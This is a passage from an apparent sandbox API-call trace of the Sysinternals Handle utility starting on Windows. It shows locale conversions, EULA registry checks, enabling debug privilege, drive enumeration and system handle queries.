!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0129.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0129.673] GetLastError () returned 0x0 [0129.673] SetLastError (dwErrCode=0x0) [0129.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0129.673] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0129.673] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0129.673] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0129.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0129.673] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x100) returned 0x1b1210 [0129.673] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0129.674] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1b1210) returned 0x100 [0129.674] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0129.674] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0129.674] GetCurrentProcess () returned 0xffffffffffffffff [0129.674] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0129.674] GetLastError () returned 0x0 [0129.674] SetLastError (dwErrCode=0x0) [0129.674] GetLastError () returned 0x0 [0129.674] SetLastError (dwErrCode=0x0) [0129.675] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0129.675] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0129.675] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0129.675] RegCloseKey (hKey=0x7c) returned 0x0 [0129.675] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x7c) returned 0x0 [0129.675] RegQueryValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0129.675] RegCloseKey (hKey=0x7c) returned 0x0 [0129.675] GetLastError () returned 0x0 [0129.675] SetLastError (dwErrCode=0x0) [0129.675] GetLastError () returned 0x0 [0129.675] SetLastError (dwErrCode=0x0) [0129.676] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x7c) returned 0x0 [0129.676] RegSetValueExW (in: hKey=0x7c, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0129.676] RegCloseKey (hKey=0x7c) returned 0x0 [0129.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x0) returned 1 [0129.676] GetCurrentProcess () returned 0xffffffffffffffff [0129.676] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x12e3e0 | out: TokenHandle=0x12e3e0*=0x7c) returned 1 [0129.676] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x12e3e8 | out: lpLuid=0x12e3e8*(LowPart=0x14, HighPart=0)) returned 1 [0129.746] AdjustTokenPrivileges (in: TokenHandle=0x7c, DisableAllPrivileges=0, NewState=0x12e3f0*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0129.746] GetLastError () returned 0x0 [0129.746] CloseHandle (hObject=0x7c) returned 1 [0129.746] GetLastError () returned 0x0 [0129.746] SetLastError (dwErrCode=0x0) [0129.746] GetLastError () returned 0x0 [0129.746] SetLastError (dwErrCode=0x0) [0129.747] CreateFileW (lpFileName="\\\\.\\PROCEXP152" (normalized: "\\device\\procexp152"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7c [0129.747] SeCaptureSubjectContext (in: SubjectContext=0xfffff88005000598 | out: SubjectContext=0xfffff88005000598) [0129.747] ExGetPreviousMode () returned 0xfffffa8002454401 [0129.747] SePrivilegeCheck (in: RequiredPrivileges=0xfffff880050005b8, SubjectSecurityContext=0xfffff88005000598, AccessMode=0x1 | out: RequiredPrivileges=0xfffff880050005b8) returned 1 [0129.747] SeReleaseSubjectContext (in: SubjectContext=0xfffff88005000598 | out: SubjectContext=0xfffff88005000598) [0129.747] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.748] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.748] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationProcess") returned 0x771914a0 [0129.748] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.748] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryInformationThread") returned 0x77191560 [0129.748] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.748] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySystemInformation") returned 0x77191670 [0129.748] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.748] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySymbolicLinkObject") returned 0x771925d0 [0129.748] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.748] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryDirectoryObject") returned 0x77192440 [0129.748] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenSymbolicLinkObject") returned 0x77192310 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="NtOpenDirectoryObject") returned 0x77191890 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="NtQueryObject") returned 0x77191410 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="NtQuerySection") returned 0x77191820 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitAnsiString") returned 0x77197f80 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="RtlInitUnicodeString") returned 0x77195280 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.749] GetProcAddress (hModule=0x77140000, lpProcName="RtlAnsiStringToUnicodeString") returned 0x77194e50 [0129.749] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.750] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeUnicodeString") returned 0x77195610 [0129.750] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.750] GetProcAddress (hModule=0x77140000, lpProcName="RtlFreeAnsiString") returned 0x77195610 [0129.750] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77140000 [0129.750] GetProcAddress (hModule=0x77140000, lpProcName="RtlUnicodeStringToAnsiString") returned 0x77195c50 [0129.750] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x0, Length=0x0, ResultLength=0x0 | out: SystemInformation=0x0, ResultLength=0x0) returned 0xc0000004 [0129.750] GetLastError () returned 0x0 [0129.750] SetLastError (dwErrCode=0x0) [0129.750] GetLastError () returned 0x0 [0129.750] SetLastError (dwErrCode=0x0) [0129.750] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0129.750] GetLastError () returned 0x0 [0129.750] SetLastError (dwErrCode=0x0) [0129.750] GetLastError () returned 0x0 [0129.750] SetLastError (dwErrCode=0x0) [0129.750] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0129.751] GetLastError () returned 0x0 [0129.751] SetLastError (dwErrCode=0x0) [0129.751] GetLastError () returned 0x0 [0129.751] SetLastError (dwErrCode=0x0) [0129.751] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.751] GetLastError () returned 0x0 [0129.751] SetLastError (dwErrCode=0x0) [0129.751] GetLastError () returned 0x0 [0129.751] SetLastError (dwErrCode=0x0) [0129.751] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\DosDevices\\C:" | out: DestinationString="\\DosDevices\\C:") [0129.751] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0xc0) returned 0x0 [0129.751] NtQuerySymbolicLinkObject (in: SymLinkObjHandle=0xc0, LinkTarget=0x12dbe0, DataWritten=0x12db08 | out: LinkTarget="\\Device\\HarddiskVolume1", DataWritten=0x12db08) returned 0x0 [0129.751] CloseHandle (hObject=0xc0) returned 1 [0129.751] RtlInitUnicodeString (in: DestinationString=0x12dac0, SourceString="\\Device\\HarddiskVolume1" | out: DestinationString="\\Device\\HarddiskVolume1") [0129.751] NtOpenSymbolicLinkObject (in: SymbolicLinkHandle=0x12db00, DesiredAccess=0x20001, ObjectAttributes=0x12db10 | out: SymbolicLinkHandle=0x12db00*=0x0) returned 0xc0000024 [0129.751] GetLastError () returned 0x0 [0129.751] SetLastError (dwErrCode=0x0) [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetLastError () returned 0x0 [0129.752] SetLastError (dwErrCode=0x0) [0129.752] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetLastError () returned 0x0 [0129.753] SetLastError (dwErrCode=0x0) [0129.753] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetLastError () returned 0x0 [0129.754] SetLastError (dwErrCode=0x0) [0129.754] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.755] GetLastError () returned 0x0 [0129.755] SetLastError (dwErrCode=0x0) [0129.756] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0129.756] GetLastError () returned 0x0 [0129.756] SetLastError (dwErrCode=0x0) [0129.756] GetLastError () returned 0x0 [0129.756] SetLastError (dwErrCode=0x0) [0129.756] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0129.756] GetLastError () returned 0x0 [0129.756] SetLastError (dwErrCode=0x0) [0129.756] GetLastError () returned 0x0 [0129.756] SetLastError (dwErrCode=0x0) [0129.756] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0129.756] GetLastError () returned 0x0 [0129.756] SetLastError (dwErrCode=0x0) [0129.756] GetLastError () returned 0x0 [0129.756] SetLastError (dwErrCode=0x0) [0129.756] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0129.756] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.757] GetLastError () returned 0x0 [0129.757] SetLastError (dwErrCode=0x0) [0129.758] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0129.758] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x4000) returned 0x1b8b10 [0129.758] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1b8b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x6ebf0) returned 0xc0000004 [0129.765] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.765] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x8000) returned 0x1b8b10 [0129.766] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1b8b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x6ebf0) returned 0xc0000004 [0129.769] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.769] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x10000) returned 0x1b8b10 [0129.770] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1b8b10, Length=0x10000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x6ebf0) returned 0xc0000004 [0129.775] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.775] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x20000) returned 0x1b8b10 [0129.775] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1b8b10, Length=0x20000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x6ebf0) returned 0xc0000004 [0129.782] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.782] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x40000) returned 0x1b8b10 [0129.783] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1b8b10, Length=0x40000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x6ecb8) returned 0xc0000004 [0129.856] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.856] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x80000) returned 0x1de0080 [0129.858] NtQuerySystemInformation (in: SystemInformationClass=0x40, SystemInformation=0x1de0080, Length=0x80000, ResultLength=0x12e420 | out: SystemInformation=0x1de0080, ResultLength=0x12e420*=0x6eda8) returned 0x0 [0129.880] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x4000) returned 0x1b8b10 [0129.880] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8b10, Length=0x4000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x12598) returned 0xc0000004 [0129.880] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 [0129.881] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x8000) returned 0x1b8b10 [0129.881] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8b10, Length=0x8000, ResultLength=0x12e420 | out: SystemInformation=0x1b8b10, ResultLength=0x12e420*=0x12598) returned 0xc0000004 [0129.881] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b8b10 | out: hHeap=0x190000) returned 1 